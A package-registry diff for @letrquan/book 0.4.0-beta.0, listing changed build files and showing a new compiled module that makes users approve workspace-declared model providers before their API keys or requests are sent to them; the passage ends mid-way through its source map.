@letrquan/book 0.3.0 → 0.4.0-beta.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (148) hide show
  1. package/CHANGELOG.md +1024 -0
  2. package/README.md +6 -3
  3. package/dist/{additional-roots-H7UNAEHS.js → additional-roots-VAWRQ625.js} +8 -7
  4. package/dist/{app-GE4OHJOC.js → app-J7BVPSUH.js} +5397 -2953
  5. package/dist/app-J7BVPSUH.js.map +1 -0
  6. package/dist/chunk-32WBCUAN.js +660 -0
  7. package/dist/chunk-32WBCUAN.js.map +1 -0
  8. package/dist/{chunk-525CAZPY.js → chunk-4DKHLZRI.js} +6 -6
  9. package/dist/{chunk-4AS7LKKQ.js → chunk-62EEAUID.js} +2 -2
  10. package/dist/{chunk-AQEQX4FF.js → chunk-AHC7OU75.js} +385 -55
  11. package/dist/chunk-AHC7OU75.js.map +1 -0
  12. package/dist/{chunk-EFJ2NH6E.js → chunk-AJZWLKLQ.js} +63 -14
  13. package/dist/chunk-AJZWLKLQ.js.map +1 -0
  14. package/dist/chunk-B5FC3MYZ.js +395 -0
  15. package/dist/chunk-B5FC3MYZ.js.map +1 -0
  16. package/dist/{chunk-67UZEWWF.js → chunk-DNFQTSMJ.js} +53 -11
  17. package/dist/chunk-DNFQTSMJ.js.map +1 -0
  18. package/dist/{chunk-TLX3H2CL.js → chunk-E5WLQSKA.js} +231 -40
  19. package/dist/chunk-E5WLQSKA.js.map +1 -0
  20. package/dist/chunk-ECLC4CIJ.js +1181 -0
  21. package/dist/chunk-ECLC4CIJ.js.map +1 -0
  22. package/dist/chunk-EEX6QNXV.js +127 -0
  23. package/dist/chunk-EEX6QNXV.js.map +1 -0
  24. package/dist/chunk-EFXVSQ5J.js +931 -0
  25. package/dist/chunk-EFXVSQ5J.js.map +1 -0
  26. package/dist/{chunk-RFJ6Q6LE.js → chunk-ENLB7NYV.js} +577 -164
  27. package/dist/chunk-ENLB7NYV.js.map +1 -0
  28. package/dist/{chunk-IME7R2UI.js → chunk-FPR7SKIE.js} +1268 -883
  29. package/dist/chunk-FPR7SKIE.js.map +1 -0
  30. package/dist/{chunk-VPNLCMVR.js → chunk-HFB74CLM.js} +13 -5
  31. package/dist/chunk-HFB74CLM.js.map +1 -0
  32. package/dist/{chunk-5RDRAO4B.js → chunk-HOZXKOE3.js} +37 -1
  33. package/dist/chunk-HOZXKOE3.js.map +1 -0
  34. package/dist/chunk-IDYWN37T.js +36 -0
  35. package/dist/chunk-IDYWN37T.js.map +1 -0
  36. package/dist/{chunk-YC6W4EJH.js → chunk-JGF5HLSI.js} +193 -75
  37. package/dist/chunk-JGF5HLSI.js.map +1 -0
  38. package/dist/{chunk-5YHTKWJN.js → chunk-KDNWMKXV.js} +2447 -907
  39. package/dist/chunk-KDNWMKXV.js.map +1 -0
  40. package/dist/{chunk-Y2VHN7TC.js → chunk-MEOB2DZA.js} +11 -1
  41. package/dist/chunk-MEOB2DZA.js.map +1 -0
  42. package/dist/{chunk-KBQS35OV.js → chunk-MV5PQNIA.js} +2 -2
  43. package/dist/chunk-N2G4Q7ME.js +2672 -0
  44. package/dist/chunk-N2G4Q7ME.js.map +1 -0
  45. package/dist/{chunk-62QL5QUP.js → chunk-OJBMDM5H.js} +17 -1
  46. package/dist/chunk-OJBMDM5H.js.map +1 -0
  47. package/dist/{chunk-56SIEMDX.js → chunk-PTDC7ZUP.js} +2 -2
  48. package/dist/{chunk-X4NJT436.js → chunk-REASC2QG.js} +67 -28
  49. package/dist/chunk-REASC2QG.js.map +1 -0
  50. package/dist/chunk-SBTU5BEC.js +114 -0
  51. package/dist/chunk-SBTU5BEC.js.map +1 -0
  52. package/dist/{chunk-HQI7NYGX.js → chunk-SWPDKLNM.js} +2 -2
  53. package/dist/{chunk-W3XFHEF4.js → chunk-UCFJ43OS.js} +140 -28
  54. package/dist/chunk-UCFJ43OS.js.map +1 -0
  55. package/dist/{chunk-QYBD22H5.js → chunk-W7SLYS3M.js} +80 -16
  56. package/dist/chunk-W7SLYS3M.js.map +1 -0
  57. package/dist/{chunk-SOW4WRQP.js → chunk-WV3O5PGX.js} +3 -3
  58. package/dist/{chunk-JTPOI3KU.js → chunk-XJRJVXJR.js} +262 -38
  59. package/dist/chunk-XJRJVXJR.js.map +1 -0
  60. package/dist/{chunk-224FJZLH.js → chunk-YIL6HTJX.js} +228 -5
  61. package/dist/chunk-YIL6HTJX.js.map +1 -0
  62. package/dist/{command-approvals-VBIU6BLM.js → command-approvals-ZRY66LCW.js} +5 -4
  63. package/dist/context-C3RAP6K5.js +41 -0
  64. package/dist/{hook-approvals-ZVT4V7IM.js → hook-approvals-DPQD5H65.js} +5 -4
  65. package/dist/index.js +657 -754
  66. package/dist/index.js.map +1 -1
  67. package/dist/{interactive-assets-T4I4SEHU.js → interactive-assets-73AQO5WP.js} +11 -6
  68. package/dist/{interactive-assets-T4I4SEHU.js.map → interactive-assets-73AQO5WP.js.map} +1 -1
  69. package/dist/job-runner.js +10 -3
  70. package/dist/job-runner.js.map +1 -1
  71. package/dist/job-supervisor.js +13 -4
  72. package/dist/job-supervisor.js.map +1 -1
  73. package/dist/loader-DQNPDKOX.js +27 -0
  74. package/dist/{mcp-approvals-HJ2VDYMC.js → mcp-approvals-27LJYADQ.js} +5 -4
  75. package/dist/{mcp-config-RNB5LEVE.js → mcp-config-GXSODNCM.js} +3 -2
  76. package/dist/memory-store-I6Z54VUN.js +51 -0
  77. package/dist/{model-window-store-MTSQ5JDJ.js → model-window-store-6VKXXTPJ.js} +4 -3
  78. package/dist/{openai-compatible-2OB54YST.js → openai-compatible-IPUNBJ53.js} +5 -3
  79. package/dist/{permission-approvals-YLV6UC5W.js → permission-approvals-Q5IMFEZI.js} +5 -4
  80. package/dist/{permissions-DHOKF3W2.js → permissions-7Y35X6HZ.js} +26 -9
  81. package/dist/provider-approvals-5AGH3RVT.js +76 -0
  82. package/dist/{sandbox-WRYTZH3D.js → sandbox-N2RY72GN.js} +6 -5
  83. package/dist/{scrollback-35ME2GFX.js → scrollback-GD76GNM4.js} +36 -28
  84. package/dist/scrollback-GD76GNM4.js.map +1 -0
  85. package/dist/sdk.d.ts +876 -64
  86. package/dist/sdk.js +57 -37
  87. package/dist/sdk.js.map +1 -1
  88. package/dist/settings-loader-KDBH45AQ.js +43 -0
  89. package/dist/{settings-removed-JWWPT4WA.js → settings-removed-3ATWJEF3.js} +2 -2
  90. package/dist/shell-selection-Z5WORZU4.js +31 -0
  91. package/dist/shell-selection-Z5WORZU4.js.map +1 -0
  92. package/package.json +5 -5
  93. package/dist/app-GE4OHJOC.js.map +0 -1
  94. package/dist/chunk-224FJZLH.js.map +0 -1
  95. package/dist/chunk-5RDRAO4B.js.map +0 -1
  96. package/dist/chunk-5YHTKWJN.js.map +0 -1
  97. package/dist/chunk-62QL5QUP.js.map +0 -1
  98. package/dist/chunk-67UZEWWF.js.map +0 -1
  99. package/dist/chunk-6OQQOMZR.js +0 -785
  100. package/dist/chunk-6OQQOMZR.js.map +0 -1
  101. package/dist/chunk-AQEQX4FF.js.map +0 -1
  102. package/dist/chunk-C7ADUNPR.js +0 -273
  103. package/dist/chunk-C7ADUNPR.js.map +0 -1
  104. package/dist/chunk-EFJ2NH6E.js.map +0 -1
  105. package/dist/chunk-IME7R2UI.js.map +0 -1
  106. package/dist/chunk-J62VZYOB.js +0 -1339
  107. package/dist/chunk-J62VZYOB.js.map +0 -1
  108. package/dist/chunk-JTPOI3KU.js.map +0 -1
  109. package/dist/chunk-QYBD22H5.js.map +0 -1
  110. package/dist/chunk-RFJ6Q6LE.js.map +0 -1
  111. package/dist/chunk-S4JMID4G.js +0 -259
  112. package/dist/chunk-S4JMID4G.js.map +0 -1
  113. package/dist/chunk-TLX3H2CL.js.map +0 -1
  114. package/dist/chunk-VPNLCMVR.js.map +0 -1
  115. package/dist/chunk-W3XFHEF4.js.map +0 -1
  116. package/dist/chunk-X4NJT436.js.map +0 -1
  117. package/dist/chunk-X66I2NQO.js +0 -137
  118. package/dist/chunk-X66I2NQO.js.map +0 -1
  119. package/dist/chunk-Y2VHN7TC.js.map +0 -1
  120. package/dist/chunk-YC6W4EJH.js.map +0 -1
  121. package/dist/context-CBOBDY5Q.js +0 -38
  122. package/dist/loader-S77OVTHH.js +0 -18
  123. package/dist/memory-store-DZUT5HUH.js +0 -75
  124. package/dist/scrollback-35ME2GFX.js.map +0 -1
  125. package/dist/settings-loader-JUNPGAAM.js +0 -35
  126. package/dist/shell-selection-CDHGJ4GC.js +0 -17
  127. /package/dist/{additional-roots-H7UNAEHS.js.map → additional-roots-VAWRQ625.js.map} +0 -0
  128. /package/dist/{chunk-525CAZPY.js.map → chunk-4DKHLZRI.js.map} +0 -0
  129. /package/dist/{chunk-4AS7LKKQ.js.map → chunk-62EEAUID.js.map} +0 -0
  130. /package/dist/{chunk-KBQS35OV.js.map → chunk-MV5PQNIA.js.map} +0 -0
  131. /package/dist/{chunk-56SIEMDX.js.map → chunk-PTDC7ZUP.js.map} +0 -0
  132. /package/dist/{chunk-HQI7NYGX.js.map → chunk-SWPDKLNM.js.map} +0 -0
  133. /package/dist/{chunk-SOW4WRQP.js.map → chunk-WV3O5PGX.js.map} +0 -0
  134. /package/dist/{command-approvals-VBIU6BLM.js.map → command-approvals-ZRY66LCW.js.map} +0 -0
  135. /package/dist/{context-CBOBDY5Q.js.map → context-C3RAP6K5.js.map} +0 -0
  136. /package/dist/{hook-approvals-ZVT4V7IM.js.map → hook-approvals-DPQD5H65.js.map} +0 -0
  137. /package/dist/{loader-S77OVTHH.js.map → loader-DQNPDKOX.js.map} +0 -0
  138. /package/dist/{mcp-approvals-HJ2VDYMC.js.map → mcp-approvals-27LJYADQ.js.map} +0 -0
  139. /package/dist/{mcp-config-RNB5LEVE.js.map → mcp-config-GXSODNCM.js.map} +0 -0
  140. /package/dist/{memory-store-DZUT5HUH.js.map → memory-store-I6Z54VUN.js.map} +0 -0
  141. /package/dist/{model-window-store-MTSQ5JDJ.js.map → model-window-store-6VKXXTPJ.js.map} +0 -0
  142. /package/dist/{openai-compatible-2OB54YST.js.map → openai-compatible-IPUNBJ53.js.map} +0 -0
  143. /package/dist/{permission-approvals-YLV6UC5W.js.map → permission-approvals-Q5IMFEZI.js.map} +0 -0
  144. /package/dist/{permissions-DHOKF3W2.js.map → permissions-7Y35X6HZ.js.map} +0 -0
  145. /package/dist/{sandbox-WRYTZH3D.js.map → provider-approvals-5AGH3RVT.js.map} +0 -0
  146. /package/dist/{settings-loader-JUNPGAAM.js.map → sandbox-N2RY72GN.js.map} +0 -0
  147. /package/dist/{settings-removed-JWWPT4WA.js.map → settings-loader-KDBH45AQ.js.map} +0 -0
  148. /package/dist/{shell-selection-CDHGJ4GC.js.map → settings-removed-3ATWJEF3.js.map} +0 -0
@@ -0,0 +1,395 @@
1
+ import {
2
+ renderUntrustedText
3
+ } from "./chunk-WV3O5PGX.js";
4
+ import {
5
+ updateWorkspaceTrust
6
+ } from "./chunk-HFB74CLM.js";
7
+
8
+ // src/provider-approvals.ts
9
+ import { createHash } from "crypto";
10
+
11
+ // src/secret-reference.ts
12
+ import { homedir } from "os";
13
+ import { isAbsolute, join, relative, resolve } from "path";
14
+ function parseSecretReference(raw) {
15
+ const envMatch = raw.match(/^\{env:([^}]+)\}$/);
16
+ if (envMatch) return { kind: "env", name: envMatch[1] };
17
+ const fileMatch = raw.match(/^\{file:([^}]+)\}$/);
18
+ if (fileMatch) return { kind: "file", path: fileMatch[1] };
19
+ return { kind: "literal" };
20
+ }
21
+ function resolveSecretFilePath(reference, workspace) {
22
+ if (reference.startsWith("~/")) {
23
+ return { path: join(homedir(), reference.slice(2)), readable: true };
24
+ }
25
+ if (isAbsolute(reference)) return { path: resolve(reference), readable: true };
26
+ const root = resolve(workspace);
27
+ const path = resolve(root, reference);
28
+ const rel = relative(root, path);
29
+ return { path, readable: !(rel.startsWith("..") || isAbsolute(rel)) };
30
+ }
31
+
32
+ // src/trust-command.ts
33
+ import { resolve as resolve2 } from "path";
34
+ var SHELL_SAFE_BARE = /^[A-Za-z0-9_@%+=:,./\\-]+$/;
35
+ function shellArgument(value) {
36
+ if (SHELL_SAFE_BARE.test(value)) return value;
37
+ if (/["`$!\u0000-\u001f\u007f-\u009f]/.test(value) || value.endsWith("\\")) return null;
38
+ return `"${value}"`;
39
+ }
40
+ var PASTEABLE_PROVIDER_ID = /^[A-Za-z0-9_@+=:,./ -]+$/;
41
+ function trustCommandLine(workspace, rest) {
42
+ if (resolve2(workspace) === resolve2(process.cwd())) return `book trust ${rest}`;
43
+ const quoted = shellArgument(workspace);
44
+ return quoted === null ? null : `book trust ${rest} --workspace ${quoted}`;
45
+ }
46
+ function trustCommandText(workspace, rest) {
47
+ const command = trustCommandLine(workspace, rest);
48
+ return command === null ? { command: `book trust ${rest}`, note: ` (run it from ${renderUntrustedText(workspace)})` } : { command, note: "" };
49
+ }
50
+ function providerTrustCommand(workspace, providerId) {
51
+ const quoted = providerId === void 0 || providerId.startsWith("-") || !PASTEABLE_PROVIDER_ID.test(providerId) ? null : shellArgument(providerId);
52
+ return trustCommandText(workspace, quoted === null ? "provider" : `provider ${quoted}`);
53
+ }
54
+
55
+ // src/provider-approvals.ts
56
+ var LEGACY_BASE_URL_ID = ".bookrc.json";
57
+ var PROVIDER_CONNECTION_KEYS = ["baseURL", "baseUrl", "apiKey", "type"];
58
+ function usableId(id) {
59
+ return id !== "__proto__";
60
+ }
61
+ function isPlainObject(value) {
62
+ return typeof value === "object" && value !== null && !Array.isArray(value);
63
+ }
64
+ function workspaceProviderFingerprint(entry) {
65
+ const canonical = JSON.stringify({
66
+ type: entry.type ?? "openai",
67
+ origin: entry.baseURL ?? entry.baseUrl ?? null,
68
+ apiKey: entry.apiKey ?? null
69
+ });
70
+ return createHash("sha256").update(canonical).digest("hex").slice(0, 16);
71
+ }
72
+ function legacyBaseUrlFingerprint(baseUrl) {
73
+ return createHash("sha256").update(JSON.stringify({ baseUrl })).digest("hex").slice(0, 16);
74
+ }
75
+ function evaluateDecision(decisions, id, fingerprint) {
76
+ if (!decisions || !Object.hasOwn(decisions, id)) return "pending";
77
+ const decision = decisions[id];
78
+ return decision.fingerprint === fingerprint ? decision.choice : "pending";
79
+ }
80
+ function evaluateLegacyBaseUrl(decisions, baseUrl) {
81
+ return evaluateDecision(decisions, LEGACY_BASE_URL_ID, legacyBaseUrlFingerprint(baseUrl));
82
+ }
83
+ function providerIdsOf(layers) {
84
+ const ids = /* @__PURE__ */ new Set();
85
+ for (const layer of layers) {
86
+ for (const id of Object.keys(layer.providers ?? {})) if (usableId(id)) ids.add(id);
87
+ }
88
+ return ids;
89
+ }
90
+ function droppedProviderOverrides(workspaceLayers, trustedIds) {
91
+ const dropped = [];
92
+ for (const layer of workspaceLayers) {
93
+ for (const [providerId, entry] of Object.entries(layer.providers ?? {})) {
94
+ if (!trustedIds.has(providerId) || !isPlainObject(entry)) continue;
95
+ const keys = PROVIDER_CONNECTION_KEYS.filter((key) => entry[key] !== void 0);
96
+ if (keys.length > 0) dropped.push({ path: layer.path, providerId, keys });
97
+ }
98
+ }
99
+ return dropped;
100
+ }
101
+ function withoutWorkspaceProviderOverrides(providers, trustedIds) {
102
+ const kept = {};
103
+ for (const [id, entry] of Object.entries(providers)) {
104
+ if (!trustedIds.has(id) || !usableId(id) || !isPlainObject(entry)) continue;
105
+ const rest = { ...entry };
106
+ for (const key of PROVIDER_CONNECTION_KEYS) delete rest[key];
107
+ kept[id] = rest;
108
+ }
109
+ return kept;
110
+ }
111
+ function mergeDeclaration(base, override) {
112
+ const result = structuredClone(base);
113
+ for (const [key, value] of Object.entries(override)) {
114
+ if (value === void 0 || key === "__proto__") continue;
115
+ const existing = result[key];
116
+ result[key] = isPlainObject(value) && isPlainObject(existing) ? mergeDeclaration(existing, value) : structuredClone(value);
117
+ }
118
+ return result;
119
+ }
120
+ function emptyWorkspaceProviderPartition() {
121
+ return { approved: [], pending: [], rejected: [], reserved: [] };
122
+ }
123
+ function partitionWorkspaceProviders(workspaceLayers, trustedIds, decisions) {
124
+ const merged = /* @__PURE__ */ new Map();
125
+ for (const layer of workspaceLayers) {
126
+ for (const [id, entry] of Object.entries(layer.providers ?? {})) {
127
+ if (trustedIds.has(id) || !usableId(id) || !isPlainObject(entry)) continue;
128
+ const existing = merged.get(id) ?? { declaration: {}, layers: [] };
129
+ existing.declaration = mergeDeclaration(existing.declaration, entry);
130
+ existing.layers.push(layer.path);
131
+ merged.set(id, existing);
132
+ }
133
+ }
134
+ const partition = emptyWorkspaceProviderPartition();
135
+ for (const [id, { declaration, layers }] of merged) {
136
+ const typed = declaration;
137
+ const fingerprint = workspaceProviderFingerprint(typed);
138
+ const entry = { id, declaration: typed, fingerprint, layers };
139
+ if (id === LEGACY_BASE_URL_ID) partition.reserved.push(entry);
140
+ else partition[evaluateDecision(decisions, id, fingerprint)].push(entry);
141
+ }
142
+ return partition;
143
+ }
144
+ function declaredProviderIds(partition) {
145
+ return [
146
+ ...partition.approved,
147
+ ...partition.pending,
148
+ ...partition.rejected,
149
+ ...partition.reserved
150
+ ].map((entry) => entry.id);
151
+ }
152
+ function withheldProviderIds(partition) {
153
+ return [...partition.pending, ...partition.rejected, ...partition.reserved].map(
154
+ (entry) => entry.id
155
+ );
156
+ }
157
+ var MODEL_SELECTION_KEYS = ["model", "compactModel", "advisorModel"];
158
+ function profileModelKey(profile) {
159
+ return `agents.profiles.${profile}.model`;
160
+ }
161
+ function profileOfModelKey(key) {
162
+ return /^agents\.profiles\.(.+)\.model$/.exec(key)?.[1];
163
+ }
164
+ function modelSelectionsOf(settings) {
165
+ const selections = {};
166
+ for (const key of MODEL_SELECTION_KEYS) selections[key] = settings[key];
167
+ const profiles = isPlainObject(settings.agents) ? settings.agents.profiles : void 0;
168
+ if (isPlainObject(profiles)) {
169
+ for (const [name, profile] of Object.entries(profiles)) {
170
+ if (!usableId(name) || !isPlainObject(profile)) continue;
171
+ if (typeof profile.model === "string") selections[profileModelKey(name)] = profile.model;
172
+ }
173
+ }
174
+ return selections;
175
+ }
176
+ function providerPrefixOf(model) {
177
+ const trimmed = model.trim();
178
+ const slash = trimmed.indexOf("/");
179
+ return slash > 0 ? trimmed.slice(0, slash) : void 0;
180
+ }
181
+ function selectionSlots(layers) {
182
+ const slots = new Set(MODEL_SELECTION_KEYS);
183
+ for (const layer of layers) for (const key of Object.keys(layer.selections)) slots.add(key);
184
+ return [...slots];
185
+ }
186
+ function winnerOf(layers, key) {
187
+ let winner;
188
+ let trustedValue;
189
+ for (const layer of layers) {
190
+ const value = layer.selections[key];
191
+ if (value === void 0) continue;
192
+ if (layer.trusted) trustedValue = value;
193
+ winner = { value, layer };
194
+ }
195
+ return winner && { ...winner, trustedValue };
196
+ }
197
+ function withheldModelSelections(layers, withheldIds) {
198
+ const withheld = [];
199
+ for (const key of selectionSlots(layers)) {
200
+ const winner = winnerOf(layers, key);
201
+ if (!winner || winner.layer.trusted) continue;
202
+ const providerId = providerPrefixOf(winner.value);
203
+ if (providerId === void 0 || !withheldIds.has(providerId)) continue;
204
+ withheld.push({
205
+ key,
206
+ value: winner.value,
207
+ providerId,
208
+ path: winner.layer.path,
209
+ fallback: winner.trustedValue
210
+ });
211
+ }
212
+ return withheld;
213
+ }
214
+ function unaffectedModelSelections(layers, withheldIds) {
215
+ const unaffected = [];
216
+ for (const key of selectionSlots(layers)) {
217
+ const winner = winnerOf(layers, key);
218
+ if (!winner?.layer.trusted) continue;
219
+ const providerId = providerPrefixOf(winner.value);
220
+ if (providerId === void 0 || !withheldIds.has(providerId)) continue;
221
+ unaffected.push({ key, value: winner.value, providerId, source: winner.layer.path });
222
+ }
223
+ return unaffected;
224
+ }
225
+ function environmentModelSelections(modelOverride, env = process.env) {
226
+ return [
227
+ {
228
+ key: "model",
229
+ value: modelOverride || env.BOOK_MODEL,
230
+ source: modelOverride ? "--model" : "BOOK_MODEL"
231
+ },
232
+ { key: "compactModel", value: env.BOOK_COMPACT_MODEL, source: "BOOK_COMPACT_MODEL" },
233
+ { key: "advisorModel", value: env.BOOK_ADVISOR_MODEL, source: "BOOK_ADVISOR_MODEL" }
234
+ ];
235
+ }
236
+ function withEnvironmentSelections(unaffected, environment, withheldIds) {
237
+ const set = environment.filter((selection) => selection.value);
238
+ const overridden = new Set(set.map((selection) => selection.key));
239
+ const result = unaffected.filter((selection) => !overridden.has(selection.key));
240
+ for (const { key, value, source } of set) {
241
+ const providerId = providerPrefixOf(value);
242
+ if (providerId !== void 0 && withheldIds.has(providerId)) {
243
+ result.push({ key, value, providerId, source });
244
+ }
245
+ }
246
+ return result;
247
+ }
248
+ function createWorkspaceProviderGate(parts) {
249
+ return {
250
+ declared: declaredProviderIds(parts.partition),
251
+ withheld: withheldProviderIds(parts.partition),
252
+ partition: parts.partition,
253
+ droppedOverrides: parts.droppedOverrides ?? [],
254
+ withheldSelections: parts.withheldSelections ?? [],
255
+ unaffectedSelections: parts.unaffectedSelections ?? [],
256
+ legacyBaseUrl: parts.legacyBaseUrl
257
+ };
258
+ }
259
+ var DISCLOSURE_LIMIT = 1024;
260
+ function describeOrigin(raw) {
261
+ if (raw === void 0) return "(no baseURL: the default endpoint)";
262
+ let url;
263
+ try {
264
+ url = new URL(raw);
265
+ } catch {
266
+ return `${renderUntrustedText(raw)} [!] not a valid URL`;
267
+ }
268
+ const origin = renderUntrustedText(`${url.protocol}//${url.host}`, DISCLOSURE_LIMIT);
269
+ return url.username !== "" || url.password !== "" ? `${origin} [!] the URL has userinfo before the host; requests go to the host shown` : origin;
270
+ }
271
+ function describeApiKeyDeclaration(apiKey, workspace) {
272
+ if (apiKey === void 0) return "none";
273
+ const reference = parseSecretReference(apiKey);
274
+ if (reference.kind === "env") {
275
+ const name = renderUntrustedText(reference.name, DISCLOSURE_LIMIT);
276
+ return /^[A-Za-z_][A-Za-z0-9_]*$/.test(reference.name) ? `environment variable ${name}` : `environment variable ${name} [!] not a valid variable name`;
277
+ }
278
+ if (reference.kind === "file") {
279
+ const file = resolveSecretFilePath(reference.path, workspace);
280
+ const path = renderUntrustedText(file.path, DISCLOSURE_LIMIT);
281
+ return file.readable ? `file ${path}` : `file ${path} [!] outside the workspace, so it would not be read`;
282
+ }
283
+ return "a literal key (not shown)";
284
+ }
285
+ function describeWorkspaceProvider(entry, workspace, routed = []) {
286
+ const origin = entry.declaration.baseURL ?? entry.declaration.baseUrl;
287
+ const lines = [
288
+ `${renderUntrustedText(entry.id, 64)} ${describeOrigin(origin)} key: ${describeApiKeyDeclaration(entry.declaration.apiKey, workspace)}`
289
+ ];
290
+ if (routed.length > 0) {
291
+ const named = routed.map(
292
+ (selection) => `${selection.key} "${renderUntrustedText(selection.value)}" (from ${renderUntrustedText(selection.source)})`
293
+ ).join(", ");
294
+ lines.push(
295
+ `[!] approving it also routes your own selections with this prefix to ${describeOrigin(origin)}: ${named}`
296
+ );
297
+ }
298
+ return lines;
299
+ }
300
+ function describeLegacyBaseUrl(baseUrl, context) {
301
+ const lines = [
302
+ `${LEGACY_BASE_URL_ID} ${describeOrigin(baseUrl)} would become the default endpoint`
303
+ ];
304
+ lines.push(" approving it sends there: BOOK_API_KEY");
305
+ if (context) {
306
+ const keyless = Object.entries(context.providers).filter(([, provider]) => provider.baseURL === void 0 && provider.baseUrl === void 0).sort(([a], [b]) => a.localeCompare(b)).map(
307
+ ([id, provider]) => `${renderUntrustedText(id, 64)} (key: ${describeApiKeyDeclaration(provider.apiKey, context.workspace)})`
308
+ );
309
+ lines.push(
310
+ keyless.length === 0 ? " approving it sends there: no provider key (every configured provider sets its own baseURL)" : ` approving it sends there: the requests and key of each provider with no baseURL: ${keyless.join(", ")}`
311
+ );
312
+ }
313
+ lines.push(
314
+ " approving it sends there: every plain model id (gpt-4o) and every <vendor>/<model> id that names no configured provider"
315
+ );
316
+ return lines;
317
+ }
318
+ function describeDroppedOverride(dropped) {
319
+ return `${dropped.keys.join(", ")} for provider "${renderUntrustedText(dropped.providerId, 64)}" in ${renderUntrustedText(dropped.path)} ignored: you defined that provider yourself, so a workspace file cannot change where its key goes or how it is sent. \`book trust provider\` does not apply to it; to use another origin, key or type, set it in your own settings (~/.book/settings.json).`;
320
+ }
321
+ function describeWithheldSelection(selection) {
322
+ const id = renderUntrustedText(selection.providerId, 64);
323
+ const instead = selection.fallback === void 0 ? "the trusted settings set none, so the default applies" : `"${renderUntrustedText(selection.fallback)}" is used instead`;
324
+ return `${selection.key} "${renderUntrustedText(selection.value)}" from ${renderUntrustedText(selection.path)} ignored: it names the workspace provider "${id}", which is not approved; ${instead}.`;
325
+ }
326
+ function describeUnaffectedSelection(selection) {
327
+ const id = renderUntrustedText(selection.providerId, 64);
328
+ return `provider "${id}" declared by the workspace is withheld; your ${selection.key} "${renderUntrustedText(selection.value)}" (from ${renderUntrustedText(selection.source)}) is unaffected and resolves as it would had the workspace not declared that provider.`;
329
+ }
330
+ function describeReservedProvider(entry) {
331
+ return `workspace provider "${renderUntrustedText(entry.id, 64)}" from ${entry.layers.map((layer) => renderUntrustedText(layer)).join(", ")} ignored: that id is reserved for the decision about a legacy ${LEGACY_BASE_URL_ID} baseUrl, so it can never be approved. Rename the provider.`;
332
+ }
333
+ function workspaceProviderRefusal(providerId, rawModel, workspace) {
334
+ const id = renderUntrustedText(providerId, 64);
335
+ const { command, note } = providerTrustCommand(workspace, providerId);
336
+ return `Model "${renderUntrustedText(rawModel)}" names provider "${id}", which is declared by the workspace and has not been approved. It needs \`${command}\`${note} before Book sends it a request or resolves its key.`;
337
+ }
338
+ var WorkspaceProviderRefusalError = class extends Error {
339
+ constructor(providerId, rawModel, workspace) {
340
+ super(workspaceProviderRefusal(providerId, rawModel, workspace));
341
+ this.providerId = providerId;
342
+ this.name = "WorkspaceProviderRefusalError";
343
+ }
344
+ providerId;
345
+ };
346
+ function persistWorkspaceProviderChoice(workspace, id, fingerprint, choice, storePath) {
347
+ return updateWorkspaceTrust(
348
+ workspace,
349
+ (trust) => {
350
+ trust.workspaceProviders[id] = { fingerprint, choice };
351
+ },
352
+ storePath
353
+ );
354
+ }
355
+
356
+ export {
357
+ parseSecretReference,
358
+ resolveSecretFilePath,
359
+ trustCommandText,
360
+ providerTrustCommand,
361
+ LEGACY_BASE_URL_ID,
362
+ PROVIDER_CONNECTION_KEYS,
363
+ workspaceProviderFingerprint,
364
+ legacyBaseUrlFingerprint,
365
+ evaluateLegacyBaseUrl,
366
+ providerIdsOf,
367
+ droppedProviderOverrides,
368
+ withoutWorkspaceProviderOverrides,
369
+ emptyWorkspaceProviderPartition,
370
+ partitionWorkspaceProviders,
371
+ declaredProviderIds,
372
+ withheldProviderIds,
373
+ MODEL_SELECTION_KEYS,
374
+ profileModelKey,
375
+ profileOfModelKey,
376
+ modelSelectionsOf,
377
+ providerPrefixOf,
378
+ withheldModelSelections,
379
+ unaffectedModelSelections,
380
+ environmentModelSelections,
381
+ withEnvironmentSelections,
382
+ createWorkspaceProviderGate,
383
+ describeOrigin,
384
+ describeApiKeyDeclaration,
385
+ describeWorkspaceProvider,
386
+ describeLegacyBaseUrl,
387
+ describeDroppedOverride,
388
+ describeWithheldSelection,
389
+ describeUnaffectedSelection,
390
+ describeReservedProvider,
391
+ workspaceProviderRefusal,
392
+ WorkspaceProviderRefusalError,
393
+ persistWorkspaceProviderChoice
394
+ };
395
+ //# sourceMappingURL=chunk-B5FC3MYZ.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/provider-approvals.ts","../src/secret-reference.ts","../src/trust-command.ts"],"sourcesContent":["/**\n * Trust decisions for providers a workspace layer declares.\n *\n * A provider entry names two things the user cares about: where a request goes (`baseURL`) and\n * which credential rides along (`apiKey`, a literal or a `{file:…}` / `{env:…}` reference that\n * Book reads on the entry's behalf). A checked-in `.book/settings.json`, a force-added\n * `.book/settings.local.json` or a legacy `.bookrc.json` can write both, so honouring them\n * unchecked lets a repository send the user's provider key, any `~/` file or any environment\n * variable to an origin the repository names.\n *\n * Two rules close that, in the shapes the other repository-input gates already use:\n *\n * - A provider id a **trusted** layer (the user file, a `--settings` file) defines keeps the\n * trusted layer's origin, key and protocol. A workspace layer's `baseURL`, `baseUrl`, `apiKey`\n * and `type` for that id are dropped before merging (`type` decides how the key is sent: as a\n * bearer token, or as `x-api-key` to `/v1/messages`); only its `models` entries still merge.\n * - A provider id **only workspace layers define** is held back until the user approves it in the\n * user-global trust store (`workspace-trust.ts`), against a fingerprint of its declared type,\n * origin and key reference. Changing any of those re-withholds it. An approved one is merged in,\n * but it never inherits a key: only its own `apiKey` is sent (see `resolveModelProviderConfig`).\n *\n * Everything here is pure except {@link persistWorkspaceProviderChoice}: the loader and the\n * reporting hosts call the same functions, so what is enforced and what is reported cannot drift.\n */\nimport { createHash } from 'crypto';\nimport type { ProviderConfig, WorkspaceProviderChoice } from './settings.js';\nimport { renderUntrustedText } from './hook-approvals.js';\nimport { parseSecretReference, resolveSecretFilePath } from './secret-reference.js';\nimport { providerTrustCommand } from './trust-command.js';\nimport { updateWorkspaceTrust } from './workspace-trust.js';\n\n/** A provider entry as a settings file wrote it: every key optional, nothing defaulted. */\nexport type ProviderDeclaration = Partial<ProviderConfig>;\n\n/** One settings layer's `provider` map. */\nexport type ProviderMap = Readonly<Record<string, ProviderDeclaration>>;\n\n/**\n * The decision-store key for a legacy `.bookrc.json` `baseUrl`, which is not a provider. The id is\n * reserved: a workspace provider literally named this is never approvable (see\n * {@link WorkspaceProviderPartition.reserved}), so it cannot share the legacy decision.\n */\nexport const LEGACY_BASE_URL_ID = '.bookrc.json';\n\n/**\n 